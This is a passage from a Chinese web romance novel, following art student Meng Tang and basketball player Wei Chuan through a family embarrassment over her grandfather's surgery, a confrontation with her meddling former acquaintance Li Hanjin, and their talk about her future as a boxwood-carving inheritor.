“我怎么了?”孟怀璋有些不服,“我也是为了你的身体着想,手术都有风险的,你要是出事,孟棠怎么办?” 孟棠见孟遇春胸口气得起伏,赶紧俯身拍了拍:“爷爷,你刚做完手术,我跟他说吧。” 孟遇春缓了缓,如睡针毡了。 可现在转到普通病房也不太合适了。 孟棠转过身,问孟怀璋:“你怎么想的,去找魏川的家人?慢性硬膜下血肿钻孔引流术是神经外科相对基础的手术,随便一个专业的医生都能做。” 孟怀璋还是那句话:“任何手术都有风险。” “那你有没有考虑过我?”孟棠内心苦涩,“我跟魏川刚谈没几天,你去找了他的家人来办这么一件鸡毛蒜皮的小事,你就不怕人家觉得我们攀附?” 孟怀璋:“我什么时候想要攀附他们了?” 孟棠呵笑一声:“这么好的病房住着,你就确定不是攀附的结果?” 孟怀璋语塞。 孟棠又道:“小手术,本来不需要求人的,现在无端端欠了人情,还让别人觉得我们小题大做,滥用私人资源,你就能确定,魏川的父母没有丝毫的怨言和尴尬?” “因为你,让我和他架在了一个不平等的关系上,让我瞬间处于被动地位,但凡他家里有一个人看不过眼,这件事一辈子都会被拿出来戳刺我。” 虽然,她还没敢想和魏川结婚的事,但如果真有那么一天,孟怀璋的所作所为,已经为她日后的婚姻埋下了隐患。 孟棠现在算是明白自己为什么会遇到魏思嘉了。 人家一直搁门口等着她呢。 既然知道了她爷爷住院,她和魏川又是情侣关系,于情于理要关心一二。 可尴尬就尴尬在,她和魏川刚开始,这会儿的人情往来都是不必要的。 所以魏思嘉过来,只是表明一个态度而已。 表明人家知道了,也帮忙了,将主动权送到了孟棠手中。 见孟怀璋不说话,孟棠说:“你以后,不要去找他们。” 这是出狱后,孟棠第一次跟自己说那么多话。 孟怀璋似乎也明白了错,点了点头。 孟遇春拍了拍床铺,对孟棠说:“好了,你别急,事情都发生了,说什么都没用,你来跟我说说你恋爱的事。” 孟棠情绪很低落,但面对孟遇春,也只能忍了。 “有什么好说的,就是在一起了。” 孟遇春在心里算了下日子,问:“就是五一的时候确定的关系?” 孟棠点了点头。 孟遇春拍了拍她的手:“不用怕,我观那小子面相就是个能抗住事的,这件事,你爸做的是有点尴尬,不过就是一个人情,日后再还。” 孟棠无语:“拿什么还?” 孟遇春失笑:“拿你爷爷松鹤延年的笔筒还。” 孟棠一愣:“松针层层叠叠如云,身浮雕仙鹤绕古松,鹤羽阴刻线细若发丝,您真舍得?” 孟遇春说:“咱家呢,比不上魏川的家境,但咱家有的,他家不一定有,你爷爷手头有几件古董,都是给你当嫁妆的,提前给一个,无所谓,谁敢看不起你,不过一个十几万的小玩意罢了。” “你打听打听他家长辈的寿辰是什么时候,到时候送过去就行。” 孟棠撇了撇嘴。 “可别在我面前哭。”孟遇春赶紧阻止,“说说你跟那小子的相处情况。” “挺好的,他整天忙着训练,马上全国赛要开始了。” “只要你不受委屈,怎么着都行,小棠,我看人不会错的,魏川很适合你,你好好把握。” 孟棠点了点头:“知道了。” 说完这些,孟遇春开始赶人:“好了,我这三五天就能出院了,你现在回学校去,出院的时候再跟你说。” 孟棠应了声,离开了医院。 本小章还未完,请点击下一页继续阅读后面精彩内容!出门也没打车,沿着路漫无目的地走。 她边走边看手机,看他们在螺洲岛拍的照片。 看着看着,孟棠笑了起来,魏川拍照的表情是真的很臭屁。 走了许久,孟棠恍然回神,她好像错过了地铁口。 刚要回头,手机响了。 孟棠垂眸一看,心跳漏了一拍。 这个点,魏川不应该在休息吗? 孟棠做了个深呼吸,试图让自己的心情好点后才接了电话。 “你在哪儿?”魏川上来就问。 孟棠说:“学校啊。” “学校哪里?”魏川发动车辆。 “食、食堂。” “哪个食堂?”魏川打了方向盘,出了北门。 孟棠泄气了:“你怎么这个时候给我打电话?” 魏川没办法了,说:“位置发过来,我去接你。” 孟棠一愣:“你……” “我姐给我打的电话。”魏川说,“见面再说,好吗?” “好。” 孟棠将位置发到了他微信,之后一直站在路边乖乖地等。 魏川被一个红灯阻拦,见对面马路上熟悉的身影,直接拨去了电话。 孟棠还没吱声,他就动了点气,但也没敢提高音量,语气有些隐忍:“你就不能找个阴凉的地方待着?” 孟棠回眸:“你到了?” 魏川说:“还有一分钟的红灯,你往前走,去阴凉地等我。” 孟棠瞥了眼车流,只好往前走。 正好走到一个路口,她停下了脚步。 魏川的车在路边停下,孟棠开了车门上了副驾。 她一边系安全带一边问:“你这么出来没事吗?” 魏川说:“一个小时返队。” “不好意思。”孟棠主动道,“是我爸太冲动了,没想到惊扰了你家里人。” 魏川一句话没话,拉过了她的手。 孟棠忍不住侧眸,见他没说话,心里没了底气。 魏川一路上左右扫描,在找能停车的地方。 终于在路过一个生活超市时,被他精准地扫描到一个位置。 “你停这儿干什么?” 魏川径自下车,拉开了副驾的车门。 孟棠解开安全带下了车,还没开口,被魏川一把抱住。 怔愣片刻,她推了下魏川的腰:“你怎么了?” 魏川温柔地按住她后脑勺的位置,在她耳边说:“不用担心,我已经跟家里打过电话了。” 孟棠眼睛一酸:“谁让你打了。” “怕你乱想。”魏川说,“隔着红绿灯那么大一段路,站在太阳底下发呆,你能说你没乱想?” 孟棠叹了声气:“这事本来就是他做错了。” 魏川知道这个“他”指的是孟怀璋。 “跟你没关系,跟我喜欢你更没关系。”魏川松开她,捧住她脸颊揉了揉,“老爷子怎么样?” “没事,过几天就出院了。” 魏川点了点头:“吃饭没有?” “吃了。”孟棠撒谎,“现在回学校吧。” “行。” 两人又重新上了车。 刚上路,魏川的手机响了起来。 孟棠下意识瞥去,是魏川的妈妈。 魏川不着痕迹地蹙了下眉头,余光飘忽看向孟棠。 响了半天,他都没接,孟棠也没催,以为开车不太方便。 可楚茵一直不放弃,又打了过来。 正好又是红灯,魏川只能接了起来,率先提醒:“妈,我马上训练呢,你打电话干什么?” “什么训练,别以为我不知道你大姐给你打了电话。” 魏川尴尬一笑:“您知道了?” 楚茵哼了声:“我对于你谈恋爱没什么意见,但这还没谈几天就找上门,你的眼光——” “妈,我等一下再跟你说好嘛,我在开车。”魏川赶紧打断。 孟棠心下一沉。 封闭的车厢内,楚茵的话清清楚楚地传进她的耳朵里。 她撇过脸,藏起眼尾的泪光。 这件事,她无法反驳,也解释不了,因为已经发生。 绿灯到了,魏川通过路口后,余光瞥了眼孟棠,也没意识到自己说的“我已经跟家里打过电话”这件事暴露了。 其实想想,他接到魏思嘉的电话就跟教练请了一个小时的假。 怎么可能还有时间跟家里沟通呢。 但孟棠没有怪他的意思,她只是因为孟怀璋的所作所为而羞愧。 车子进了北门,孟棠依旧偏着头。 她故作镇定地解开了安全带,说:“我下午还有专业课作业,先走了。” 魏川开玩笑:“不给一个拥抱啊?” 孟棠推开车门,说:“赶紧去训练吧,我走了。” 魏川锁了车,看她从雕塑楼的后门进了楼道。 孟棠刚要刷卡,猛地被人拽住了纤细的手腕。 她惊得回眸,泄露了通红的眼尾。 孟棠蓦地睁大眼睛,颤着声儿:“你没走?” 魏川凛着眼神,一把将她扯进了怀中: “哭成这样,你让我怎么走?” 孟棠鼻尖一酸,埋进他怀中蹭了蹭。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第141章 不哭了,多大点事 孟棠的哭是无声无息的,魏川没看到,但胸口的T恤洇了一层湿润。 五脏六腑碎成八瓣,魏川捧起孟棠的脸,用指腹抹去她的眼泪。 “不哭了,多大点事。” 孟棠点了点头,抬手擦了下巴的泪痕。 她微微张开唇缝,将满载的情绪悄悄吐出。 脸上泪痕未干,鼻尖红红,魏川看得心软,软成了一滩水。 他算是知道了“以柔克刚”这四个字的威力。 “下次有什么情绪,不要憋着。”魏川始终捧着孟棠后腮位置,指腹下意识地摩挲安抚,“我要是没发现,自己就跑上楼了?” 孟棠垂眸噘了下嘴巴:“你不是要去训练。” “赶得上。”魏川说,“这事我会解决的,不要胡思乱想,你该上课上课,该吃饭吃饭。” 孟棠没吱声。 魏川手掌下移,搂住她的腰晃了下:“听到没有?” 孟棠仰起头:“你整天在队里,怎么解决?” 她本来也没打算跟他说,即便要说,也绝不是训练期间。 但令孟棠没想到的是,魏思嘉竟然主动给魏川打了电话。 魏川二话没说请了午休的时间来找了她。 魏川说:“我今晚回去,明早再过来,之前瞒着你说给家里打过电话,就是想暂时将你的情绪安抚下来。” 他知道每个人的家庭底色不一样,他和孟棠又是刚开始的恋情,充满很多不稳定的因素。 他也不喜欢孟怀璋这个举动,但不是因为他找他爸帮忙找医生。 而是孟怀璋明明处于事件中心,自己对老头的病情没有清晰的判断,贸然地将孟棠推到了他父母的面前。 事情是孟怀璋做的,后果却要孟棠去承受,这才是他反感的地方。 偏偏他是孟棠的父亲,自己说不得也打不得。 孟棠一听他要回去,扯住了他的衣服下摆,说:“你回去干什么?这事我就当欠你家一个人情,你还是正常训练吧。” 魏川没说话,揉了揉她的头发,避重就轻:“时间差不多了,那我先去训练了?” 孟棠“嗯”了声。 魏川转头四处看了眼,见没人,俯身亲了她一口,说: “不要瞎想了,有什么事给我打电话。” 孟棠推了下他:“知道了。” 魏川见她神情不再落寞,转身走了。 孟棠已经饿过了头,也没什么胃口,索性上楼进了工作室。 十来分钟,谭曦和小组里另外两个男生一起推门进来。 “你来这么早?”谭曦跟孟棠打了招呼。 孟棠指尖捏着一片半透明的硅胶膜,转头对他们招了招手:“第三次了,回弹还是不够快。” 谭曦走过去,说:“再试试加热呗。” 两个男生一听,赶紧给工具盒里盛热水,孟棠还没反应过来,他们就把硅胶膜按进了水里。 她想阻止都没来得及,只听“呲啦”一声,硅胶膜瞬间缩成皱巴巴一团,成了失败的试验品。 谭曦瞪了两个男生一眼:“真服了。” 孟棠被这一幕逗笑,心情放松了不少,开始收拾烂摊子。 忙到下午三点,肚子实在饿得受不了了,和谭曦他们告了别。 孟棠去了超市,买了点关东煮,带去了楼上。 回到寝室,见到谢泠音愣了下:“你怎么在宿舍?” “别提了。”谢泠音说,“大姨妈来了,后两节课也懒得去了,逃了。” 孟棠将关东煮推过去:“吃点?” 谢泠音摇摇头:“你吃吧,刚喝了一杯温水,吃不下。” 孟棠回到座位上,没吃两口,手机响了。 看见来电显示,她皱了皱眉,最终在挂断之前接了起来。 “小棠,这个事……我要不要上门给人家道个歉?”孟怀璋在手机里问。 刚才老爷子训了他一顿,他也知道这件事对孟棠不太好,想着能不能弥补一二。 孟棠赶紧阻止他:“不用,你什么都不用做。” “但是——” “我说了,你什么都不用做。” 谢泠音被孟棠从未有过的尖锐语气吸引了注意力,余光扫了过去。 挂了电话,孟棠的好心情直接没了。 谢泠音伸手过去戳了戳她:“怎么了?” 孟棠勉强笑了笑,摇了摇头。 “跟我还有什么不能说的?”谢泠音直接道,“藏在心里能舒服吗?” 孟棠沉默片刻,将事情告诉了她。 谢泠音一愣:“你爸爸?我还从来没有听你提过他。” 孟棠咬了下唇,小声道:“刚出狱。” 谢泠音惊讶地睁大眼睛,好半晌才找回自己的声音:“对不起啊,我不知道。” 孟棠摇了摇头:“没事。” 谢泠音没对孟怀璋的事探究到底,说:“魏川其实已经意识到了,我觉得你可以相信他。” 孟棠看着谢泠音,问:“你觉得他家里人是怎么想的?打电话的时候我已经听到了。” 谢泠音说:“实话呢,就是肯定有点不舒服,但你不是说遇见了魏川的姐姐,人家可能也是怕你瞎想,所以表明一下态度。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!孟棠叹了声气:“反正这事很尴尬。” 谢泠音点点头:“你爸也挺牛的,也不知道怎么找过去的。” “你说什么?”孟棠一顿,看着谢泠音的眼神动也不动。 “啊?”谢泠音一懵,“我说什么了?” 孟棠:“上一句。” 谢泠音:“我说你爸怎么找到魏川家里的?” 孟棠倏地起身:“我打个电话。” 她来到阳台,给孟怀璋拨去电话。 对方很快接通,孟棠直接问:“我问你,你是怎么找到魏川的家里的?” 孟怀璋说:“去的公司,网上搜的。” 孟棠两眼一黑:“你去的人家公司?你回来这么多天,也不会上网,也不会支付的,是怎么想起来要去人家公司的?” “就是担心你爷爷,走投无路想起来的。”孟怀璋支支吾吾地说。 “你能不能不骗我了?”孟棠心里难过,“爷爷的手术,医生难道没有跟你说清楚吗?哪里是走投无路?” 孟怀璋沉默下去。 孟棠也是听谢泠音无意中的一句起了疑心。 她和魏川谈恋爱的事没有告诉过家里,老爷子心里有数,也是今天向她确认的。 孟怀璋怎么就去找了魏川的家人? 眼下孟怀璋不说话,更是验证了孟棠的猜测。 “在Z市,唯一一个知道我和魏川谈恋爱的,又跟你有联系的人,只有李寒津。” 孟怀璋彻底沉默。 他一句话不说,孟棠就知道自己猜对了。 过年的时候,李寒津总上门献殷勤,全家也就孟怀璋会搭理他几句话。 孟棠从最近通话里往下翻,翻到了李寒津的号码。 一连拨了三个都没人接,孟棠只好回了寝室。 晚上,石岚和杨可给她和谢泠音带了晚饭。 磨磨蹭蹭一小时,孟棠起身去扔垃圾,与此同时,魏川开车回到了家里。 因为知道他要回家,除了早早休息的老太太和在外工作的魏思沅,其他人都在。 正好是饭点,一家人进了餐厅。 但食不言,没人在餐桌上扫兴,直至吃完饭,魏川才去客厅坐下。 楚茵耐不住了:“为了你女朋友跑回来的?” 魏川平静地望过去:“你们怎么看这件事的?” “我先声明啊。”魏思嘉举起手,“我不掺和,我挺喜欢人家小丫头的。” 魏川朝魏思嘉拍马屁:“大姐,你懂我。” 魏思嘉哼笑:“少来。” 魏立峰沉吟:“小事,都过去了,没必要抓着不放,你姐姐说孟棠是懂礼的,这就行了,值得你来回跑这一趟?” “她哭了。”魏川想起来,心里还是不得劲,“生怕你们误会什么,我又在训练,没有那么多时间陪她,只能回家一趟。” 说完,他看向楚茵。 知道这个家里最难搞的是他妈妈。 楚茵皱了皱眉:“行,我承认我是对她有点小意见,但更多还是气她爸爸不懂事,好歹几十岁的人了,还没年轻人懂礼。” 魏川点了点头。 楚茵一愣,她在说他未来老丈人耶,她儿子竟然没反驳? “这件事本来就跟孟棠没关系。”魏川说,“老头也不是那种人,你们对孟棠没意见就行。” 没想到这事解决得这么顺利,魏川当即起身:“那我先回学校了。” 楚茵跟在他后面喊:“哎,不是说今晚在家睡的吗?” 魏川转头:“算了,我还是回学校吧。” 还有点时间,说不定能见见孟棠。 中午她哭的时候,他就因为时间不得不走,也没安慰两句。 他抬手看了眼手表,这才七点,嘴角压都压不住。 魏立峰见楚茵还跟着,说:“你让他走呗,找他女朋友去了。” “臭小子。”楚茵朝着门外白了一眼。 魏思嘉失笑:“妈,魏川跟孟棠的事,你就别掺和了,心里也别不舒服,这事估计是孟棠爸爸的自作主张。” 楚茵叹气:“即便我知道孟棠可能很好,但她有这样糊涂的父亲,你觉得以后小川跟她结婚了,咱家还有安宁的日子吗?” 魏思嘉朝她竖起大拇指:“您都想让他俩结婚了?” 楚茵:“……” “你又想远了。”魏立峰说,“他俩才大二。” 楚茵:“行行行,我不说了,让他俩先这么谈着吧。” 魏川开车回了学校,习惯性将车开去了北门。 刚把车熄火,前方出现一道熟悉的身影。 魏川一喜,心有灵犀一点通啊。 他刚要下车,发现孟棠径自往北门去。 魏川赶紧下车,刚要叫她,却因个子高,看到了西装革履的李寒津。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第142章 亲一下,让你起来 魏川没跟过去,靠在车窗上,透过栏杆看向北门外的两个人。 牙都有点痒,他只能咬了咬。 这个李寒津,不知道在搞什么鬼。 孟棠双手交叉抱臂,显然是个防备的姿势。 她和李寒津站着的地方是个缓坡,几乎和李寒津平视了视线。 孟棠冷眉冷眼地质问李寒津:“为什么那么做?” 李寒津挑了下眉:“什么意思?” 孟棠:“爷爷住院手术的事情,是你让他去找魏川的家人的吧?” 李寒津点了点头:“确实是我,不过我也只是提了一嘴,没让他去找。” 孟棠简直无语:“有区别吗?” “怎么?他家里人对你有意见了?”李寒津看着她,“这点小事也不肯帮忙?” “我不想跟你讲任何的道理,李寒津,我不喜欢你,你也不是我的谁,麻烦你以后不要对我家的事指手画脚,擅作主张。” “我没有擅作主张。”李寒津深邃的目光锁着孟棠,“两年前我们工作室有个大姐,一个小小的手术直接要了命,他也是我师父,难不成我会害他?” “你不会害爷爷是真,但害我也是真。”孟棠直白到毫不留情。“基础手术出现伤亡的概率极其低下,你不能以偏概全。” 孟怀璋意气风发的时候,不过是个挥金如土的大少爷。 后来赌博入狱,败光家产,和社会隔离了九年。 本就空空的脑袋怎么可能经得住李寒津的诱导。 相较于孟怀璋,孟棠显然更讨厌李寒津的所作所为。 “我再怎么以偏概全也抹不去任何手术都有风险这句话。”李寒津吼了声,“你也不能质疑我对师父的关心。” “你就不能放过我?我们各自过各自的日子不好吗?”孟棠也朝他呛声,“我不喜欢你,即便你破坏了我和魏川,我也绝不会喜欢你。” 李寒津脸色一沉,往前一步又一步,孟棠被逼得只能往后退。 “你要干什么?” 李寒津是那样的不甘,他做好一切计划才回来的。 讲座、博物馆给青少年上课、来学校当顾问……都是他特意设计好的。 他知道孟棠的性格,只能从她感兴趣的方面入手。 原本他们可以有一个美丽的重逢,可每次总有魏川半路截胡。 他忍了这么久,确实也不知道该怎么忍下去了。 “你就一点旧情也不念吗?” 孟棠摇了摇头:“早就消耗没了。” 李寒津猛地上前一步,孟棠快速往后躲,脚步猛地一顿,后背撞上一堵温热的墙。 她回眸,只看到线条饱满的喉结。 视线上移,撞上了魏川垂下来的视线。 孟棠一愣:“你怎么在这儿?” 魏川将她拉到身后,居高临下看着李寒津:“她跟你有什么旧情?” 李寒津笑了声:“你说呢?” 魏川冷笑一声,抬手按住李寒津的肩膀,一步一步逼得他后退。 情势瞬间反转,孟棠上前拉住了魏川的一只手:“魏川,别动手。” 魏川反握住孟棠的手,仗着身高体型和力量,逼得李寒津退到了他自己的车旁。 “砰”一声,李寒津被甩到后车门。 魏川揪住他的衣领,说:“老头手术那事,是你使的坏啊?” 他没有偷情两人谈话,只是从孟棠来见他这事推测到的。 “这算得上使坏吗?”李寒津耸了下肩,“确定不是给你们的考验吗?” 魏川气笑了,拉开车门,将李寒津扔上了驾驶位。 他胳膊肘压在车顶上,弓着腰看向车内的李寒津: “你这个人,真的没有自知之明。” “我和孟棠怎么样,永远轮不到你来干涉。” 说到这儿,魏川又往下俯了俯身,用只有他俩能听到的声音说: “至于孟怀璋,我其实不是很在乎,你懂我意思吗?” 李寒津一愣:“你敢对着孟棠说吗?” 魏川笑了笑:“明天滚出艺术园区吧。” 真他妈离谱,还当起了他和孟棠的爱情刺客来了。 赶紧从哪儿来滚哪儿去。 说完,魏大少爷狂炫酷拽地甩上了车门。 孟棠问他:“你跟他说什么了?” 魏川转头看着她,牵起她的手,说:“回去,我还没跟你算账呢。” 说着,他拉着孟棠进了北门。 孟棠第一次感受到魏川的腿长,被他这样拉着走,跑着都跟不上。 她扯了下被拉着的手:“你慢点啊。” 魏川听不进去,开了后车门,擒着孟棠的胳膊说:“上车。” 孟棠慢了一拍,被他挤着上车,窝窝囊囊地摔倒在座位上。 一天糟心事下来,孟棠再好的脾气也没了,抬脚对着魏川的膝盖踢了下,很轻。 魏川整个人扑上去,压低身子,像狩猎的豹。 他钳制孟棠的胳膊,暧昧地笑了声:“反了你了。” 孟棠几乎是躺在车位上,这个姿势不太妙。 她也不和魏川唱反调了,抬起手推了推他胸口:“让我起来。” 这章没有结束,请点击下一页继续阅读!魏川哼了声,姿态压得更低。 车厢昏暗狭小,呼吸近在咫尺,孟棠都不敢乱动了。 “亲一下,让你起来。” 孟棠下意识舔了下唇,意思是让她主动吗? 魏川盯着她,微微眯了下眼睛。 孟棠察觉他的表情不对,抬手搂住他脖颈,将他轻轻往下拽。 双唇一触即分,她推开魏川,说:“行了吧?” 魏川伸手在她腰间搓了一把:“你觉得呢?” “魏川!” 太痒了,孟棠惊叫一声,往后躲的时候磕到了车门。 “咚”一声响,扯回了魏川玩闹的思绪。 他一把将她拉起来,捧着她后脑勺,关心道:“没事吧?” 孟棠摇了摇头:“没事,你下次不许挠我痒。” “忍不住怎么办?”魏川嘟了下嘴,故意装可爱。 孟棠忍俊不禁,抬手捂住他的嘴巴。 闹了一通,魏川终于正经了些,他勾了下孟棠的下巴,问: “为什么又一个人来见李寒津。” 孟棠瞥了眼他:“你不是猜到了?” 魏川一愣:“这你都知道?” “嗯。”孟棠扬了下眉,“我听见你叫他滚了。” “我不该让他滚吗?”魏川酸里酸气地一把兜住她的腰,让孟棠整个人坐上了他的腿。 孟棠吓一跳,抵着他的肩膀羞臊地说:“说话就说话,你怎么又动手动脚?” 魏川笑了声,笑容有点邪。 他捏着孟棠的手腕,整个人靠着椅背,故意搂住孟棠的腰晃了下。 等孟棠措手不及前倾时,他微微偏头亲了上去。 “唔……你……” 魏川撬开她的牙关,大肆搜刮,跟山上的土匪没什么两样。 孟棠被亲到手脚发麻,靠在他怀中,半晌没反应过来。 魏川笑了笑,捏了下她的耳垂:“怎么这么软?” 孟棠照着他腹肌捶了一通,不过没什么力气,轻飘飘的。 魏川抬手拨开她颊边的发丝,说:“好了好了,不皮了,走吧,送你回寝室。” “等一下。”孟棠按住他,“你还没告诉我,你怎么在这儿?而且刚才你直接拉开的车门,说明你车没锁,你去哪儿了?” “回家了呀。”魏川趁机吃豆腐,大手掐着她纤细的腰,又捏又揉。 孟棠拍开腰间的手,惊讶道:“你不是说不回去了吗?” “我可没说。”魏川说,“我当时赶着去训练,六点半结束的时候开车回得家。” “本来要在家里住一晚的,哪知道事情很顺利,我又想见你,又开车回来了。” “事情很顺利?”孟棠捕捉到关键词,“你跟你家人说了什么?” 魏川说:“说了老头住院的事,放心吧,他们没人怪你,我姐说挺喜欢你的。” “真的?”孟棠有些不相信。 “我骗你干什么?”魏川捏了下她的脸,“我这以后还得带你回家见家长呢,现在骗你有什么好处?” 孟棠微微颔首:“谢谢你。” “跟傻子似的。”魏川想笑,“跟我谢什么,走了。” 孟棠搭着他的手下了车。 锁了车后,魏川突然想起什么似的,问孟棠:“你要不要学车?” 孟棠摇摇头:“没想过,雁清很小,不适合开车。” 魏川突然笑了声。 孟棠狐疑地看过去:“笑什么?” 魏川说:“我听你这意思,毕业后回雁清,这件事情肯定改不了了,我就想起老头让你毕业就结婚的事。” “然后呢?”孟棠没懂。 “然后被我追到手了。”魏川和她十指相扣,边走边说,“咱们毕业就能结婚吗?” 孟棠:“……” 这让她怎么回答呢?毕竟还有两年的时间,她哪里能预测到未来的感情变化。 魏川上面有三个姐姐,就他一个男孩,让孟棠不胡思乱想都不可能。 他队里的球员总开玩笑他是“耀祖”,这样的一个身份定位,能跟她回雁清吗? 孟棠忽然沉默了下去。 这对魏川来说并不公平。 魏川晃了下她的手:“怎么不说话?” 孟棠停下脚步,转头看着魏川,表情严肃又认真:“我毕业真的回雁清,不在Z市,也不考研,也不去任何的博物馆工作,只守着老宅,和木头相伴。” “爷爷传给我的,我要传下去,即便没有子女,也得收徒。” “你……你以后肯定也有你的路要走。” 魏川拧了眉:“你什么意思?” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第143章 咱俩只会HE 孟棠自己也没想到,刚恋爱就和魏川开启了这样深刻的话题。 两人在人工湖旁的小径上寻了个户外座椅,挨着彼此坐下。 孟棠侧眸看向魏川,说:“你知道我为什么一定要回雁清吗?” “传承?”魏川扭过脸,对上她的视线。 孟棠摇了摇头:“传承这种事,在哪里都能做,你看李寒津,我不评价他的为人,但这些年也确实在弘扬黄杨木雕。” “我之所以回去,第一个原因是爷爷,他年纪大了,我肯定要在身边尽孝。” “你知道以前手艺人收徒,是要饮食起居都要亲自操劳的吗?” 孟遇春是爷爷也是师父,这份责任她必须担下,离开雁清的话,孟棠无法尽孙女和徒弟的那份责任,孟遇春也不会离开雁清。 魏川有种不祥的预感,下意识抓住她的手,放到自己的腿上。 “第二个原因呢?”他小心翼翼地试探。 “第二个原因是非遗传承人的身份绑定,政策规定,传承人必须常住申报地,否则取消补贴和资格。” “而且木料认地,雁清是黄杨木雕的发源地,有技艺传承的地域特殊性,年均湿度也最宜储存木料,我每次从家里带木料来学校,都是经过处理的,不然的话,三天就开裂。” 她离不开雁清的原因就在于此。 以前她也没想过找个外地的,当初对许鹤清有好感,也仅仅是那么点好感。 可魏川对她来说,是完全不一样的存在。 魏川问:“所以你说这些,只是在跟我诉说毕业后你留在雁清这个事实?” “嗯。”孟棠点了点头,“你刚才说毕业结婚,我突然不知道要怎么回你。” “还有两年才毕业呢。”魏川松了口气,“你想这么远,吓我一跳。” 孟棠:“可时间过得很快,到时候再说这个话题,可能会以悲剧收场。” “咱俩只会HE。”魏川说,“绝不BE。” 孟棠被他逗笑:“那如果毕业就结婚了,相处两地怎么办?一直这样也不太好吧。” 她知道现在想这些有点早,但刻意躲避,一般没什么好结果。 魏川:“高铁两小时的路程,远什么?大不了我入赘呗。” “啊?”孟棠完全没料到画风走偏了,“你入赘?” 魏川哼笑了声:“不欢迎啊?我挺喜欢你家院子的,还有……” “还有什么?”孟棠接了他的欲言又止。 魏川俯身,跟孟棠微微错身,在她耳边小声耍流氓: “我还没进过你的闺房,想在海棠树的窗下压着你亲。” 说完,他立刻坐直了身体,一手抬起,做了个防御的姿势。 “啪”一声,孟棠的巴掌甩在他硬邦邦的胳膊上。 人家胳膊半点不痛,她自己“嘶”了声,震到了手腕。 魏川后悔自己躲了,托住她的手腕揉了揉。 孟棠另一只手指着他:“你满脑子都是这些吗?” 魏川盯着她看了会儿,来了一句:“不止。” 孟棠品了一会儿,悟了,一把抽出自己的手,转过身不再理他。 实则耳朵尖都快滴血了。 魏川顺着椅子往她那边挪了挪,长胳膊绕过她身后的椅背,轻轻搭着。 “我下次不躲了。”魏川试探性地又摸上孟棠的手臂,“还疼不疼了?” 孟棠摇了摇头:“不疼了。” 魏川的手握住孟棠的肩膀,将她整个人搂过来抱在怀中,下巴抵着她的头顶蹭了蹭。 “我以后就算结婚,也不可能跟我爸妈住一起,我自己有房子,也有一些资产,他们干涉不了我的。” “你呢,全国各地,不,世界各地,你爱住哪儿就哪儿,咱们按时回去看他们就行。” 他们家没有乱七八糟的规矩,他大姐至今都没结婚,他爸妈也没说过一句话。 魏思琳当兵,魏思沅做演员,他打篮球,每个人做的都是自己爱好的行业。 孟棠仰头问他:“你还有资产?” 魏川“嗯”了声:“我用的都是自己的钱,但也不是我赚的,来自两个去世的人,一个是爷爷,一个是外公。” 孟棠轻轻撞了下他的肩膀,说:“怪不得你一直可以随心所欲。” “所以什么也不用怕,你只管做你的,我在你身后。”魏川勾了勾孟棠的下巴,垂下视线和她碰撞。 片刻后,孟棠用脑袋顶了顶他,顺势窝进他的怀中许久没动。 魏川低头,用唇碰了下孟棠的额头:“时间不早了,送你回寝室。” 孟棠没动,无限拉长声音:“不想动。” “累了?”魏川问。 孟棠点点头:“心累。” 魏川失笑,揽着她的背坐好,说:“那我背你吧。” “不好吧?”孟棠有点犹豫。 魏川蹲在椅子旁,拍了拍肩膀:“赶紧的。” 孟棠趴上他的背,问:“重不重?” “不重。”魏川掂了下她,“这样背着你,让我想起之前陪你去闽州的事,想起来都令人遗憾呐!” 本小章还未完,请点击下一页继续阅读后面精彩内容!“遗憾什么?”孟棠被他作怪的语气逗笑,“你最后不是去了吗?” “我要是知道那会儿你亲我,是把我当男朋友,至于忍得那么辛苦,少了那么多快乐?” 孟棠捶了下他肩膀:“别贫了,赶紧走。” 魏川笑了笑,加快了脚步。 孟棠趴在他肩头轻轻哼了声,只怪她当初太蠢,以为亲了嘴就是在一起了。 现在看来,魏川纯属是耍流氓行为。 距离寝室楼还有百十米远,孟棠拍了拍魏川的肩:“放我下来,前面有人了。” 魏川将她放下,边走边问:“老头出院的时候跟我说一声,我开车送他们去高铁站。” “你干嘛总是老头老头地叫?”孟棠单纯就是好奇。 魏川立刻认错:“那我下次叫爷爷。” 孟棠:“……” 到了楼下,他手贱地对着孟棠下巴捏了下,说:“去吧,等你进去了我再走。” 孟棠和他挥了挥手,道了别。 孟遇春毕竟年纪大了,住了五天院才被批准出院。 去高铁挤得慌,又要过安检,孟棠打算叫个车送他们回去。 手机刚拿出来,面前一辆黑色的商务车停了下来。 孟棠一愣:“秦渊?你怎么在这儿?” “受人之托啊。”秦渊笑了笑,“魏川来不了,我让司机送一趟,特地叫的商务车,坐着舒服一点。” 孟棠勾了勾唇:“谢谢。” 秦渊:“客气什么,我跟魏川是兄弟,一句话的事。” 孟棠给孟遇春和孟怀璋介绍了秦渊,两厢打了招呼,孟遇春被司机搀扶上车。 孟遇春朝孟棠挥了挥手,离开了。 原地站了半分钟,秦渊说:“走,送你回学校。” 孟棠:“不用了,谢谢,我自己回。” 秦渊朝她身后扬了扬下巴:“我也开车来的,川子让我送你回去的。” 孟棠看着骚红的跑车一愣,不过和秦渊的气质挺符合。 “愣着干什么啊?上车啊。” 孟棠呵呵一笑:“我还是坐地铁吧。” “那可不行啊。”秦渊给她开了车门,“答应兄弟的,走啊。” 盛情难却,孟棠只好上了车。 一路上车不少,秦渊开得也很规矩,就是话太多,不过这样也有好处,不尴尬。 回了学校,因为秦渊这辆骚包的车,孟棠获得了120%的回头率。 秦渊对着她背影拍了张照片,给魏川发了过去:【你老婆给你送回来了。】 魏川正好在休息,回:【把她的照片从你的相册里删了,再截图给我。】 秦渊:【操,我他妈真服你了。】 他还有一个备用机,直接拍了动态视频过去,甚至录到了“最近删除”。 魏川满意了:【退下吧,朕训练去了。】 秦渊恨不得自己没来过,轰了一脚油门离开了z大。 接下来的十几天,孟棠只在中午的时候接到过魏川只言片语的信息。 孟棠将毛巾挂到阳台,打开电脑,进了cubal的官网。 按照时间推算,赛程差不多也出来了,魏川近些天都没什么信息,肯定加训了。 谢泠音回到寝室,见她敲着键盘,好奇地走了过去:“看什么呢?” 孟棠说:“我看cubal的赛程出来没有。” “快了吧。”谢泠音说,“我今天还听许鹤清提了一嘴,应该就这两天,怎么了?魏川加训了?” 